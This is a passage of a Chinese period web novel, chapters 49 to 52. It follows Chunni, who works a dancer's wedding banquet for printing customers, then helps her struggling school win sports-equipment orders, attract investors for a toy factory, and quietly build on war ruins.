“米妮总是哭,她怎么这么爱哭?” “格林先生找到了新工作,在中英友好医院,他们会不会再搬走?” 在夏生日复一日的小道消息中,日子转眼到了十一月中旬,也到了金小姐办酒席的那一天。 第49章 049 优质客户 春妮本来对金小姐的酒席兴趣不大, 但夏生最是喜欢新鲜的时候,身边还有个看热闹不怕大的夏风萍,那天又是个星期天。春妮受不住两人一起撺掇, 到底答应了下来。 那天一到, 住在一起的两大一小三个人,再加一个朱先生,四个人穿戴一新,花几毛钱叫来两辆黄包车 ,坐到了海都大酒店。 春妮听夏风萍提过,还没打仗之前,曾有报纸评选过海城的十大酒店, 海都大酒店榜上有名,也是城中有数的大酒店。 这世上永远不缺有钱人。 春妮每天一个铜板一个铜板赚辛苦钱的时候, 海城的这些星级大酒店经常宾客满堂。哪天他们上了新菜,上午菜单透出去,不到中午就订完的事比比皆是。 金小姐能在这里订到酒席,不止很风光, 也说明她新找到的这位丈夫有些能耐。 夏风萍很直白地说:“她说嫁人,你听听便罢。能在休息天订到海城大酒店的席, 这样的人家会正经娶一个舞女进门?” 夏风萍固然是个傻白甜,毕竟见识在这,一句话便说到了点子上。 到了地方, 几个人踩着光可鉴人的大理石地板,经过一楼金碧辉煌的宴会厅, 让两个戴白手套的侍应生沿着旋转楼梯一路引领,上到二楼,在某个包间门前停下。 夏风萍冲春妮挑了挑眉:你看, 我说得没错吧? 打开门,穿着红色丝绒旗袍的金小姐挽着一个中年男人招呼他们:“到得这样晚,我还以为你们不来了呢。” 夏风萍笑:“金小姐的大日子,我们怎么会不来呢?路上塞车,耽误了一阵子。” 春妮看了眼金小姐的丈夫,他身材略胖,长着副笑眼,像个生意人。酒店透风不好,里边人来人往的,带出烘烘的热气,挤得他拿出帕子不住擦汗,也没有一丝不耐烦:“几位这边请。” 进去后才知道,这个包间的面积很大,几乎是个小宴会厅。这个小宴会厅放了有八张桌子,每张桌子都热热闹闹的,挤满了人。 春妮往旁边看了一眼,另外那一桌尽是女客。一个个像商量好了似的,都烫了头,穿着露半条白腿的旗袍,脂香粉腻的,一看就知道职业性质。他们这一桌尽是携眷的男客,个个擦着头油,应当是金小姐丈夫的朋友。 十来个客人桌,有大半桌都是像他们坐的这一桌差不多,不像是金小姐请得到的人。 春妮冷眼观察,金小姐先生的朋友中也分两类。一类是说话无忌,能同他肆意玩笑的,另一类则是笑得有些拘谨,言语间隐隐奉承他的。 难道说金小姐嫁的这位先生还是什么头面上人物? 石库门来的这四个人跟两边都不像一路人,也不指望认识人攀关系。他们目的明确,只等着每上一道菜,运著飞快,埋着头一个劲苦吃。 春妮和夏风萍可是一人上了五毛钱的礼金,不多吃点,回不了本岂不是吃亏? 她抽空看一眼夏风萍,对方狠狠一筷下去,松鼠桂鱼最肥嫩的肚子便缺了一大块。两人对视一眼,同时露出默契的微笑。 大概章警长已经知道春妮这四个人是混吃混喝,完全不值得一个眼神的穷酸,除了开始来敬过一圈酒,之后就再不理会他们。 春妮耳边飞舞着咸湿的段子,听身边的男人跟金小姐丈夫开着男人们心照不宣的玩笑,一筷接一筷往自己和夏生碗里挟肉。 别的不说,这酒店的菜做的是真不错。樱桃肉酥烂甜软,白切鸡鲜嫩弹牙,每一道荤菜都让人胃口大开……当然,也有可能是他们好些天没吃肉的关系。 嘴巴里吃着肉,春妮耳朵里也没放过宴会厅里偶尔飘过的各种信息。 原来金小姐丈夫是法租界巡捕房的一个警长,姓章。坐她旁边的那位先生,他是章警长辖区内的一个干货店老板。她对面的一家子,男人是金小姐的下属,眼睛盯着半掩在对桌那猩红色桌布下的白腿不眨眼,女人嘛,正自以为很小声地辱骂章警长做事不讲究,每纳一位如夫人,就要广开一次宴席收礼金,又骂章警长夫人没有用,管不住自己的丈夫…… 可真是热闹。 宴至半途,男人们望着对面浓妆艳抹的姑娘们蠢蠢欲动,酒席上这时又来了几位新人物。 那几个新人物都是男人,有的穿长袍马褂,有的则是西装革履,还戴着眼镜,彼此很少交谈。一看就知道,他们不可能是一路人。 春妮见那几个男人径直走到女客的那几桌,同那些女人们亲热地咬耳朵,恍然大悟:原来这些人都是那几桌子舞小姐的金主啊。 这几位金主来之后,不忙去寻自己的相好,而是如约好一般走到最中间的位席上,赔着笑跟一个头发花白的瘦老头搭话…… “这人姓万,叫万起山。”朱先生及时跟一脸懵的两位小姐科普:“他是法租界工部局江致清江董事的大管家。站在他旁边跟他搭话的,原先是旧政府财政局的……这几个聚在一起同万起山搭话的,好像都是旧政府的人,唔,他怎么来了?他没去双城政府吗?” “谁?”两个姑娘拿雪白的餐巾擦嘴上的油,抽空往朱先生示意的方向看了一眼。 这个人也是一身的西装,年约五十许,发顶稀疏,正笑眯眯地扶着椅子的把手,弯腰同一个露出膀子,画着细挑眉的女子说话。这两人说话便说话,就是那脸上的表情…… 春妮一脸一言难尽:“这人对女人一向都是这副色相?” 夏风萍也厌恶道:“难道他在旧政府是负责管风月场所的?” 朱先生不知想到什么,忍俊不禁道:“不然你们以为我是怎么认识他的?这人原先是双城政府教育厅副厅长。先前南城旧政府不是举办过一届青年学生运动会吗?比赛的时候,他别的项目都不去参观,唯独女学生游泳比赛场场不落,还亲自为夺魁的女学生牵马执鞭,叫报纸上登载出来,好生笑话过几回。” 他这一说,夏风萍也想了起来,吃惊道:“他就是付鸿民?他怎么会在海城?”又说:“这种烂人也可以当教育厅长,难怪政府被倭国人像狗一样到处撵。” 春妮这会儿吃得差不多,脑袋也有了闲功夫多转两圈,同夏风萍耳语道:“你说,我们一会儿请金小姐帮着引荐几个她的朋友怎么样?” 夏风萍讶道:“你不膈应了?” 她们两个朝夕相处,夏风萍知道,自打金小姐决定给人当金丝雀之后,春妮相当不待见她。只是她喜怒很少上脸,外人不知道罢了。 春妮喝一口汽水,道:“我跟钱又没仇。我意思是,金小姐的这么多朋友中,总有人跟她一样,需要做宣传,对吧?还有章警长这么多做生意的朋友,这些都有可能是咱们的客户呢。” 夏风萍一点就透:“对啊,我怎么没想到这点?你等等,我吃完跟你一道。别叫金小姐,她忙着呢,我们两个人一起。” 常文远上回给春妮带来的消息终于传到了老师和学生的耳朵里,大家都紧张了起来。 如果学校的三位出资人都离开海城,学校真的要成无根的孤儿,往后的前途更加飘渺。这段日子,学校里人心惶惶,每个人都在找各自的渠道打听消息,只是听到的都不是什么好消息。 方校长召集老师们开了好几个会,大体意思,是学校目前新开拓的宣传部门能实现微薄的盈利。如果这部分盈利可以覆盖学校运转支出,学校继续办下去的可能性还是很高的,他鼓励老师们积极想办法为学校拉生意,另外寻找出路。 为了提高老师们的积极性,方校长还听从了春妮的建议,答应他们,为学校每拉来一单生意,将会按照成交额的5%给予奖励。 虽然大伙目前的生意局限在街坊邻居之中,印几张宣传广告通常只在几十,数百份,统共不过一两块左右的成交额,奖励金可能只够在春妮摊子上买个杂合面馒头,但现在大家都缺钱,生意再小也得做下去。 方校长和老师们的想法是好的,但凭这点生意,想养活一个有三百多个学生的学校,基本属于做梦,哪怕学校每天只免费供给学生两个杂面馍馍,连教材都可能印不齐全。 如果说学 校一直这样平平顺顺地过下去,春妮绝对是有一天算一天地过,不多动一点脑筋。 但眼看危机即将来临,春妮就像草原里嗅觉最灵敏的猎豹一般,潜伏下来,机警地睁大眼睛,不放过每一个猎食的机会。 她很清楚,这个世道,个人的武力再高,能量也有限。如果不是背靠学校,有这么多学生和老师站在后边肯给她搭人气,给她帮忙,她的小吃摊不可能无惊无险地开到现在。 学校不能倒。 海城的印刷业相当发达,不另辟蹊径,单凭他们现在的手工作坊,生意会很快被同行挤掉。 春妮曾经同金小姐提过,请她帮忙在认识的姐妹们中间宣传,对方大约怕自己独门的宣传手法叫人学走,嘴里答应,可学校再没接到来自舞小姐的第二单生意。 舞小姐们出手大方,结交的至少是小有资产的人群,是学校绝对不能放过的优质客户群。 春妮坐在这观察一顿饭这么久,总算物色出了几个合适的新对象。 第50章 050 劈成八瓣 晚上八点, 朱先生最后看一遍怀表,一手一个,连催带拉, 将两个姑娘拽出了海都大酒店。 女朋友小姐很是不满:“都说了再等等再等等, 我跟那位易小姐聊的好好的呢。” 朱先生可头疼,让她自个儿看时间:“再等等,你看看都几点了?黄包车,黄包车!” 夏风萍头一回给学校拉生意,兴致极高:“再多聊两分钟,我就能当场给学校拉来生意了。” “再等两分钟,人家转场去百乐门跳舞, 你是不是也要跟去?”朱先生对两位小姑奶奶的敬业程度算是有了见识。 一屋子的嫖|客舞女,又是酒酣耳热, 不用想就知道越到后面越是怎么个群魔乱舞法。这两位没结婚的小姑奶奶居然硬是顶着冒烟的脸蛋挨这么久,坐在那跟人攀关系。 好在她们尚有分寸,除了最开始满场转圈认识,再没主动凑到男客中去, 只瞅着穿着不那么华丽的舞女推销,朱先生这个男伴当也给力, 才没叫人占去便宜。 夏风萍让夏生跟朱先生坐一辆车,同春妮坐在车上规划:“回去了得跟校长商量,让他给我们印些名片出来。今天在宴席上, 好些人都是跟人家交换的名片,上边电话地址都齐全, 又方便又显得正式,你说是不是?” 春妮上下眼皮直打架,她早上起早做早点, 每天这个点是她睡觉的时间。耳边听夏风萍兴奋的叽叽喳喳,嗯嗯两声,将脑袋往背风处缩了缩,坠入了黑甜梦中。 春妮和夏风萍两个在宴席里广撒了一回网,效果短期之内没看出来。 反而是其他的几名老师率先有了新的进展。 别的老师一般是配合方校长的策略,本着有枣没枣打两杆的心思,在亲戚朋友周围宣传学校印制宣传单的生意,胡老师比较特殊。她周末又去拜访了一次母校,得知母校打算在近期内购置一批球拍和大型体育设施,但因为经费问题,迟迟无法落实,想起学校的木马,动了心思,说自己有办法,回来问春妮有没有主意。 春妮脑子里的确有不少体育设施可做,但那些都需要用到铁,最差也是铝合金。最后,她从记忆里翻出两样东西,画下来让胡老师去问。 这两样东西中,一样是百米障碍赛的跨栏,再一样是下边架设木桥的大型攀爬楼梯。 胡老师问过春妮,把小木马和滑梯,还加了鲁班锁等几样小玩意上去,凑出四页纸的产品说明书,交给了母校负责后勤的老师。 两天后,对方让他们做个跨栏的样品送过去。 有意思的是,对方负责后勤的老师看中鲁班锁,想请春妮给她儿子做一付。 胡老师有些失望。 跨栏技术难度不大,利润自然起不来。五十个跨栏利润只有五六块钱,连学生们的一顿午饭都解决不了。 春妮安慰她道:“我们其他的设备都是针对六岁以下孩子开发出来的,你学校招收的是中学生。哪个中学生上体育课骑木马?有跨栏已经很不错了。” “话虽如此,”胡老师打起精神:“咱们真的做不出球拍吗?” 春妮耸耸肩:“不是跟你说过?乒乓球的球拍皮面,羽毛球和网球的球网都需要用到橡胶。就算咱们有技术可以做球拍,橡胶又从哪来?” 在这个年代,橡胶种植还没有实现改良。全世界的橡胶都集中在东南亚,现在被倭国人切断运输线,所有橡胶被征用去做汽车轮胎。所以现在市面上,连一副球拍的价格都高到令人咂舌。 球拍也是胡老师母校最希望订购到的物资。 胡老师母校是一家教会创办的私立学校,位于英租界,向来不缺优质生源。学费当然也极其昂贵,他们不怕出钱。问题是,这种时候,出钱也买不到他们需要的物资。 胡老师只能叹气:“要是有一种球拍,不需要用到橡胶就好了。” “不需要用到橡胶的球拍?不挺多的吗?”春妮随口数出几种:“像棒球棒,曲棍球棒,还有板球拍,这些都不需要用到橡胶。可你们学校不是只想要羽毛球和网球拍吗?” 她说得忘形,回身过来,只见胡老师的眼睛瞪得滚圆:“小顾老师,你怎么知道这么多种体育器材?棒球我知道,曲棍球是什么?板球又是什么?” 她几乎把“你没骗我吧?”这五个字写在脑门上。 小顾老师春妮:“……”她差点脱口而出,你不是贵族学校毕业的学生?你们贵族学校不是会开设很多体育项目吗? 这些都是以前学校纪录片里放过的啊! 她在心里默念三遍“这里是民国”,艰难转移话题:“要是你们学校不介意,其他球拍我也不是不能试着做。你看……” 这回,为难的换成了胡老师:“我们学校的场地都是有固定用途的,说换就换,这不容易吧?” 春妮道:“试试呗。你不是下午要去给他们送跨栏的样品?对了,你们学校不是有很多英国老师吗?你问问他们,想不想玩板球。板球在英国很流行吧?” 别看板球棒是木头做的,看似入门难度低,可板球冲击力大,又是对抗型运动,很容易受伤。运动员们需要配戴头盔,护胯,护膝等设备上场。一整套装备下来,绝对不便宜。 春妮虽然跟胡老师提了建议,却并没指望她可以成功推销出去。 将胡老师打发走之后,春妮发了会儿呆,这几天她也有自己的烦心事。 常文远果然没骗她,没过两天,常先生给她捎来本英文启蒙书,果然送来了最新学习指示:她得学外语了。 春妮再一次头大如斗。 她心里其实不排斥学习这些自己马上可以用到的知识,如果不是这么忙的话。 这段时间,她白天做早点,晚上搬煤球,抽空应付方校长的考试和上课,每天还得写十张大字,忙得快要上天,哪有空再加学习的担子? 常先生对春妮的生活规律了如指掌,知道她每天下午到晚上睡觉之前至少有两个小时空档,给她布置的学习任务也显然经过了仔细计算。可她这两个小时中,至少有一个半小时不是在为自己买煤球,就是在为学校买煤球。买煤球这事又绝对不能说出去,她好生为难。 眼看拖不过去,她跟常文远说,现在倭人势大,她不想学英文等西语,她想学倭国话。 常文远以为她是见自己身边人没有人会倭国话,才故意这样选。他笑话她说,这是死刑和死缓的区别,常先生一定找得到办法不让她逃避。 常先生果然找到了办法。 今天上午,他托常文远带来一张五十音图,图上发音用中文标注。要求她在一周内熟记相应的平假名和片假名,让她记熟后去川陕路一间倭语补习学校找一名叫小岛宁次的老师学习,还说已为她交纳了一个学年的学费! 春妮:“……” 她坐在铺子里对着这些字发了一上午的呆,越看越觉得自己死期将至。 胡老师就是在这个时候,带着一脸灿烂的笑回到的学校:“小顾老师,好消息!我们学校答应订板球拍了!三十付拍子,还有一百个跨栏呢!” 春妮一脑袋扎向桌子,惨呼道: “我不活了!” 做馒头做包子做发糕,熬汤熬卤煮买煤球,学字学书学外语不说,她现在还要做木工!她一个人劈成八瓣也不够用哪! 学校到底不是吃人不见血的资本家,春妮这段日子为学校干了什么事,有多辛苦,方校长心里最清楚。学校的煤储得差不多,老师们都不富裕,如今能有这个渠道,肯定得跟老师们通个气。春妮给学校买完,再给老师买,这生意做到今天都没买清。 不等她想好怎么安排时间,方校长来找她商量:“你那个买煤球的事,真的不能让我和韩老师替你去?” 春妮也想有人能替她啊! 可她有空间,隐蔽性强,又能打,万一有点突发情况,完全可以应付,还不用损失什么。方校长和韩老师,先不说空不空间的事,她让一只手,这两个男老师一起上,能在她手上坚持五分钟以上吗? 春妮默默看着方校长。 方校长:“……算了,当我没说。” 他默默整理了一下心情,再问:“你觉得板球拍,我们报价多少比较好?” 这个春妮想过:“板球拍跟我们之前做的那些东西不用,球拍和球的冲击力很强,不能用那些劣制的木板条去做,定价要定高昂一些。” “那用什么?橡木?樟木?还是松柏木?”他数出几种木头种类。 “材质不是最重要的,主要看板材在击打下容不容易变形开裂。”春妮道:“校长,咱们得去找正规木材商询价,您不希望第一次做的体育器材有质量问题吧?” 方校长叹了口气,一脸“又要花钱”的肉疼:“你说的也是,咱们自己做,怎么省都无所谓,给别人不能这样干。那他们要这么多副器材,你没问题吧?” 春妮正想跟方校长谈这件事。 她对着五十音图发了一上午的呆,不是真的脑袋放空,什么都没想。 “如果按照上回做木马的流程,问题不大。但是,”春妮让校长看操场上的木马:“这些木马做得其实很粗糙,您看见了吗?这一只高低有些不平,这一只头重脚轻,总往下栽,都是因为在监制过程中有人做得有差别,最后出现了残次品。之前咱们用的材料便宜,可以将就,但如果要用好木材,稍微不对,就会出现很大的浪费。” “那你的意思是?” “我是想,先粗筛一部分学生出来,让他们有个简单的练习和考核。” “怎么考核?” “这个我们可以稍后商量。校长,不论考核也好,还是做器材也好,都需要工具,您得给我们准备些简单的木工工具。” 方校长一听,连连摇头:“不行不行,一套木工工具有多贵,你不知道吗?咱们买不起。” 春妮笑道:“行了吧校长,小常先生今天没给你送拨款来?你也别太抠了,你买些工具,学生们边学边做,等毕业后,还有点简单的木工手艺,多好的事,您别卡在那当恶人了。” 方校长不满道:“你这孩子,怎么说话。咱们学校又不是专门干木工的,要那么多工具干什么?现在木器行生意不景气,学了找不到活做,不是平白花钱?” 春妮:“您怎么知道咱们学校不能干木工?别小瞧人哪。” 方校长也算了解一些这个小家伙,听着这里头有点事啊,盯住她道:“小顾老师,你是不是有什么想法了?” 50-60 第51章 051 各显神通 春妮先谦虚地说了句:“我就是随便想想, 校长您看可不可行吧。” “快说快说。” 春妮拿出胡老师做的产品说明书,让校长来看:“我也是被胡老师提醒才想到的。胡老师学校学生年纪太大,不需要咱们的木马和鲁班锁。海城有这么多学龄前儿童, 这也是个广阔的市场, 咱们可以到婴幼园去问问。” 因为海城职业女性增多,早在十多年前,就有了婴幼园这种可以解放育龄女性的组织存在。只是它们一向藏在小弄堂里,目前数量较少,老师们才没有想起来。 方校长眼睛亮了亮:“这倒也是,还有婴幼园,咱们怎么没早想起来呢?只是一个木马不便宜, 咱们也不好用这些自己用的,简单的东西来糊弄人, 但若是做得太好,没有多少婴幼园舍得买吧?” 这个问题,春妮也有所考虑:“那咱们多开发些小玩具,他们买不起木马, 总能买些别的。” “那你想好做什么了吗?” 这会儿小吃铺人不多,师生两个在一张空桌前坐下, 找来几张纸,春妮边说边画:“目前我想到的是做积木,就是像搭房子那样的, 做一个小小的房子结构的积木。还可以做成花卉动物形式的拼图。” 方校长接口道:“积木我知道,我前年给小儿子买过一套。” 春妮皱眉:“原来海城已经有积木了?那咱们得换个方了。” “我看不用换, 老城的强力玩具厂都给炸了,现在市面上卖玩具的不多,你们琢磨的, 说不定是条路。” 师生两个看向插嘴的那人。 那人长一张大方脸,络腮胡子,一身黑色绸衣绸裤,身后跟着几个穿同色布衣,打手打扮的人,看上去跟码头上那些吆五喝六的把头没什么两样。 可春妮知道,这位叫高大海的大爷是正经做面粉生意的,按照他押车的数量来算,生意做得绝对不小。 这会儿做米粮生意的,都是腰缠万贯,不缺人脉和关系的主。 春妮请他坐下多说两句,他推辞道:“我不做这生意,你们不必问我。” 方校长张了张口,却是不知道怎么说好。 春妮知道他不擅于跟这种江湖气重的人打交道,笑着道:“高大爷见多识广,随便说两句,就够咱们大开眼界的了。”又说:“再过一会儿就该吃午饭。高大爷慢慢坐,我今天发了白面,去做几个馒头,再炒个饼丝,一会儿我们简单吃个饭。” 看高镇海眼睛微微发亮,春妮就知道,她这回留客是留定了。 海城是南方人的天下,但高大海跟春妮一样都是沙北省人。吃惯了馒头面条,最好吃家乡真功夫揉出来的老面馒头,只是现在粮食价钱高,海城大部分摊铺做不起纯粹的白面馒头。 有一回春妮吃腻了杂合面馒头,给自己做了几个白面馒头改善生活,正好叫高大爷看见,买了她的午饭,两人就此结识。 春妮师生两个都知道这位可是大金主,她卯足了劲使出真功夫,做出一笼肥肥白白的大馒头。拿出几毛钱,让二丫去码头边买点河鲜添菜,又用平底锅烙了香香脆脆的饼切成饼丝,拿卤肥肠和着土豆跟包菜炒软,端过去听方校长跟高大海搭话。 难为方校长搜肠刮肚找话题,春妮端饼丝上桌时,他正跟高大海说起租界进口越南米的事。 高大海告诉师生两个,倭国人为了逼迫租界方就范,控制住周边地区之后,就不许周边地区产的大米进租界售卖。海城人被逼得没办法,到处寻找粮食供应商。也是这段时间,每到晚上,就有很多人穿过倭国人拉设的铁丝网冒险出来跑单帮,做起了以物易物的生意,米粮店的大米一点点就是从这来的。 好在前段时间,租界谈妥了海外渠道,不出一月,海城租界的米荒问题应当可以缓解。 方校长非常高兴,谢过高大海告诉的消息,同春妮道:“总算听到一点好消息,米价能降了。” 高大海摇头一笑:“我看没有那么容易, 等着看吧。” 春妮招呼两人吃饭,道:“再差也不会差过这些日子,一斤米要五毛钱,这是涨得都失心疯了。再涨下去,人人吃不起饭,两百万租界居民造起反,我看这些倭国人吃不吃得消。” 高大海咀嚼馒头的动作停了一下:“你这小姑娘说得也有些道理。” 方校长笑道:“您别看小顾老师年纪小,她眼光很准。要不是她,我们学校日子就难过了。” 春妮瞅着高大海的神态,道:“高大爷您是做面粉生意的,等越南米暹罗米运进租界之后,面粉价格肯定也会受到影响回落,您得注意点了啊,别囤那么些货了。” 高大海笑:“你这小丫头,还操起了我的心。” “那当然了。咱们都是沙北人,肯定得互相帮衬着些,您说是吧?” 她见高大海不接话,自己给他盛了碗鱼汤,奉到他面前:“有句老话不是说,流水不腐,户枢不蠹?现在的世道,钱就跟水一样,您不让它流转,搁在这只能越不值钱。我们学校虽然才起头做生意,但不是我吹,到现在为止,我们不止没有蚀过本,还颇有盈余,只是限于资金不足,没法正经做起来。您也说咱们做玩具是条路子,正好面粉生意不好做,不如您投点钱给我们这试试?” 高大海瞪眼道:“我什么时候说面粉生意不好做了?爷的钱也不是大风刮来的。” 春妮笑道:“这不是明摆的事吗?高大爷,我又不跟您是同行,您就别逗我了。” 高大海这时却道:“你这个做积木的主意,我觉得的确有点不好。” 春妮作出“愿闻其详”的姿态:“您说?”她心中一笑,他肯主动说这件事,绝对是有点心动了。 “现在做积木的厂子太多了,你们这么小的生意,不做出名气,只怕难以为继。” 春妮讶道:“您怎么知道这些?” “还不是我家那几个败家娘们。成天只想着打扮得花枝招展的买衣裳,叫她们给儿子买点玩具,四个里有三个都是买积木,还有一个买拨浪鼓,还怪孩子不好伺候。都不好好伺候……” 春妮略过他一大堆女人孩子的话题,道:“不做积木就不做积木吧,我还有别的点子呢。我们学校有这么些会做木工活的学生在,再做别的,分分钟就能转行。” 方校长眼皮一跳:他们学校有很多会木工活的学生?他怎么不知道? “你有什么点子?” 春妮跟方校长对个眼色,后者站起来,作了个“请”的动作:“高先生,咱们进学校去,边走边说吧。” ………… 高大海在学校里转过一圈,看过他们做的几个样品,当时没表态,只说给他两天时间想想,便带着人离开了。 春妮也不紧追着他不放。 从别人口袋里掏钱这种事,总不是那么容易的。 不过,跟高大海的一席详谈,打开了她另一条思路。 回去之后,春妮令心神沉入空间,从搜来的书籍中认真选出几种木工玩具,将之用机械透视图法绘制出来。图纸再拿到学校,跟几位老师再开几次碰头会,大伙各显神通,在亲戚朋友里大肆宣讲一通,寻找有意向的投资人。 这是其一,其二,既然要做木头玩具,自然要先调查市场。 不止是老师,学生们也忙活了起来。 方校长雇了几名半天班的半大学生,让韩老师带队,将位于租界的,大到百货商场,小到杂货铺,还有婴幼园,能转的都转了一遍,按春妮说的,统筹出一个顾客需求报告,将顾客们需求意向最高的玩具制作了几个样品,拿去给几位潜在投资人观摩。 拉投资这种事,做过第一回,第二回就不那么难开口了。 别人春妮不知道,她拿给高大海的时候,这位大爷毫不客气,将所有玩具都带回了家,豪言道,要是这些玩具他儿子们喜欢玩,他就投一千块钱给他们学校。 春妮的投资希望就此寄托在了几个三岁小儿身上。 好在虎父无犬子,高大爷家的几个儿子相当捧场,春妮磨破嘴皮子,最终为学校拉到了两千八百块的投资。 这笔钱成为了新创立玩具厂的最大一笔投资。 有了这笔钱,方校长立刻豪气起来,为学校先采购了五十把木工大锯,五十把木工小据,二十把游标卡尺,以及凿子,锥子,刨刀,砂纸砂轮等若干。 他再跟韩老师带着几个男学生合力从码头搬取来一大堆烂木头,挑出合适的学生,每天下课之后学着锯木头,刨木头花,为之后成立的玩具厂做先期工作。 既然正式成立了一个玩具厂,还拉来这么大的投资,只凭着学校老师们身兼几职肯定是不行的。 方校长暂时将学校操场让出半爿,给学校的预备木工们腾地方练习。 他同时拜托亲友帮忙,为玩具厂找来一个熟手木匠和两名学徒,再寻来位说是在卖玩具的洋行里做过高级经理的买办,最后花了些钱在工部局办下牌照,数天后,“好多趣玩具体育用品厂”正式开始了挂牌营业。 第52章 052 钉子户 学校的人事变动不止是多了几个木匠和一个经理那么简单。 方校长再不通庶务, 也不可能让玩具厂放任一个刚刚被聘进来的职业经理人把持。在工部局注册登记时,他自己挂名玩具厂的厂长,让韩老师当副厂长, 将他学校老师的身份开革掉, 目的是全身心投入到玩具厂的运营中。 韩老师跟胡老师等几个一样,肯来学校当老师完全凭一腔理想支撑。过去的几个月,他也用行动证明了自己的可靠可信。而且从工厂前期调研开始,到工部局办理牌照,一应事体韩老师亲力亲为,对工厂的创办功不可没,他当副厂长, 没人有异议。 除了韩老师自己。 方校长宣布任命之前,找韩老师谈了次话, 春妮在旁边。 韩老师很激动,说自己来学校就是为了教书育人,为了实现理想。 现在他去当了玩具厂副厂长,跟他当时毕业去洋行工作有什么两样?他坚决不肯。 春妮已经习惯学校老师跟外边的人不同, 凡事不以“利”字为先。但韩老师面对方校长开出的一个月薪水五十块也毫不为动,春妮心里极为感慨。韩老师知道玩具厂除了分给投资人的部分, 其他盈利都会投入到学校,但他推说自己能力不足,怎么也不愿意履任。 韩老师家境应当是所有老师中最差的, 方校长最后用让他“为他母亲的病多攒点钱”为理由劝服了他。 至于春妮,方校长也没忘, 给她挂了个名,就叫技术总工程师。 只是春妮在学校体育□□的身份暂时没人可取代,且还有自己的生意要兼顾, 没法将全部精力都扑到玩具厂的工作上,比韩老师,现在是韩厂长,春妮比韩厂长的工资低一级,按三十块一个月开。 三十块钱一个月,在这个年代的工薪阶层中,已经是打着灯笼都找不到的好工作。要不是方校长需要比照那位花高薪请来的郑经理给两名爱将开薪水,她也得不着便宜。正因如此,方校长再三叮嘱,让他们不能说出去,省得其他人知道后生出波折。 即便如此,方校长也说了,目前学校拉的投资需要先用到其他地方,薪水只能记一半到帐上去,等到玩具厂盈利之后,再折合成当时的币值,同利息一并发给他们。 春妮和韩厂长都表示同意,他们俩拿的是半薪,方校长挂了个厂长名头,却还一分钱薪水都没有呢。 即使只有半薪,十五块也很不少了,再加上她原先在学校里干的体育□□有六块薪水,光这两样,春妮每月固定拿的钱就比于先生高。 干拿钱不干事,这不是春妮的为人。 这么高的薪资,也让春妮拿定决心,在学校的半天班中雇 了两个学生,代替她负责小吃摊白天的运营。她目前除了负责揉馒头,熬胡辣汤之外,卤煮只要汤料到位,不需要操别的心。其他的几眼灶和小吃都交给了李德三负责,自己全身心投入到了玩具厂的运营中。 如今春妮身兼□□,总工,小摊主三职,还得隔天晚上摸黑干点倒卖煤球的活。要不是她有上辈子的力气,以及这辈子从小她妈给她调理的体质打底,真不一定撑得下来。 对了,还有常先生交代的倭语学习,春妮也不敢落下——在她得知她的倭语老师小岛宁次一学年的课程需要一百五十块大洋之后。 这份情愈发还不起了。 春妮有心再携礼去常家拜访常先生一家人,可惜他们两人都是分身乏术。春妮只能通过常文远偶尔的带话,听到一些对方的消息。 好在都是好消息。 倭国人已经开始同吴江大学对接,将大部分设备和书籍还给了校方,学校也开始了先期搬迁准备。不出意料,最多到年后三四月份,学校就可以完成全部搬迁。 玩具厂解决了初步架设问题后,再就是韩老师空缺下来的老师招聘。方校长对春妮说的,学校须得有音乐和美术老师很重视。 学校虽然只打算培养木工,但做手艺人不能只会干活,还得有基本的美感,对美的领受,即美商。否则,这样培养出来的木匠只能做个说一步动一步的匠人,无法有更高的造诣。 虽然说这话的春妮也只是个会横刨竖削,连个雕花都干不了的初级木匠,但方校长从小接受传统教育长大,诗词书画不说有多高水准,但最基本的美商他是有的。 他深以为然。 于是,继木匠师徒和郑经理之后,学校又多了两名老师。 一名姓尹,负责填韩厂长的空,教授两个大班的国文,还要负责印刷部门的油印工作。另一名姓林,说是学过几笔西洋画,识五线谱,也会吹笛子,还会拉小提琴。 这两名都是男老师,跟韩厂长不一样,他们都不用负责守校。 春妮怀疑,这跟学校目前腾不出多余的房子容纳更多的老师住校有关。 不过,她觉得这个问题应该可以很快得到解决。 学校一下增加了好几号人,不可能都窝在方校长跟韩厂长的小宿舍里办事。那个小宿舍以前只是个五六平方的小门房,塞下六个老师就勉强,更不论其他。 要么搬迁,要么原地再盖几间房子办公。二择其一,迫在眉睫。 这两间仓房原本是张鹤年先生小舅子的产业,张先生的老丈人以前是青帮大人物,据说还是海城有数的一位闻人。倭人进驻海城之后,几度延请张先生老丈人在新政府任职,均被他托病推辞了。倭国人很不耐烦,曾在各种场合放话,要给这位老爷子好看。 老先生如何应对,春妮不知道,只知道老先生的家人被吓得不行。恰逢张鹤年先生遇刺,这下捅了马蜂窝。各房头生怕死期将至,走关系的走关系,卷铺盖卷的卷铺盖卷,不出一月,将家里不方便带走的东西卖的卖,送的送,处置干净之后,留下死活不肯走的老头,携家带口,逃命般地离开了海城。 码头的这两间仓库便是张先生趁机便宜买到手上,交给了方校长。 江浦报童学校的这块地皮算是半正式地成为了学校校产。 所以说,搬迁是不可能搬迁的。以学校的销金能力,还要以此地为据点,长期当钉子户才能活下去这个样子。 至于学校为什么一定要设在江浦这里,端看这一带的地形就知道了。 前文曾有言,在海城会战那会儿,江浦这一带遭受过倭军的“重点照顾”,这一带废弃的房子非常多,包括王阿进家里的小铺子就是毁在那时候。 学校后边就紧邻着一大片废墟。 韩厂长去工部局给工厂跑手续时,意外得知,因为这一带毁于战火的房子很多,工部局并没有及时组织人手堪验核实。换句话说,如果操作得当,他们完全可以自己划一块地,盖几间房子充作校舍。 这会儿盖房子,跟后世差不多,需要问工部局跑手续先买地皮。租界的地皮多贵,哪怕经历过战火,价格有所回落,但把玩具厂的余钱全拿出来,只怕也买不到之前他们一间仓库地皮的一半。 学校要盖点房子,只能想些非常规办法。 春妮给方校长出了个主意,让他请几名学生在课余时间到废墟中拾捡碎砖头收集起来。若遇着有人问,就说学校想撤去原先的木栅子,正式盖个围墙,等砖头攒好之后就正式开工。 别说,这个答案一说,堵住了不少好事人的嘴。 砖头捡得差不多,附近的废墟清理得也差不多之后,方校长再组织几个学生在空地刨坑。 有入行的看着不对,问他:“我怎么看这像是在打地基呢?方校长,你真不是在盖房子?” 方校长如今也学会了见人说人话,见鬼说鬼话:“你说这里啊?这一块是我们想盘个猪圈,等来年养几头猪,年末了也好给学生们打个牙祭。” 那人还想再问,方校长笑呵呵地挤开他:“对不住,让让,让让啊。” 这附近人多嘴杂,再往后数天,不知是谁背地里把发生的事捅给了巡捕房。 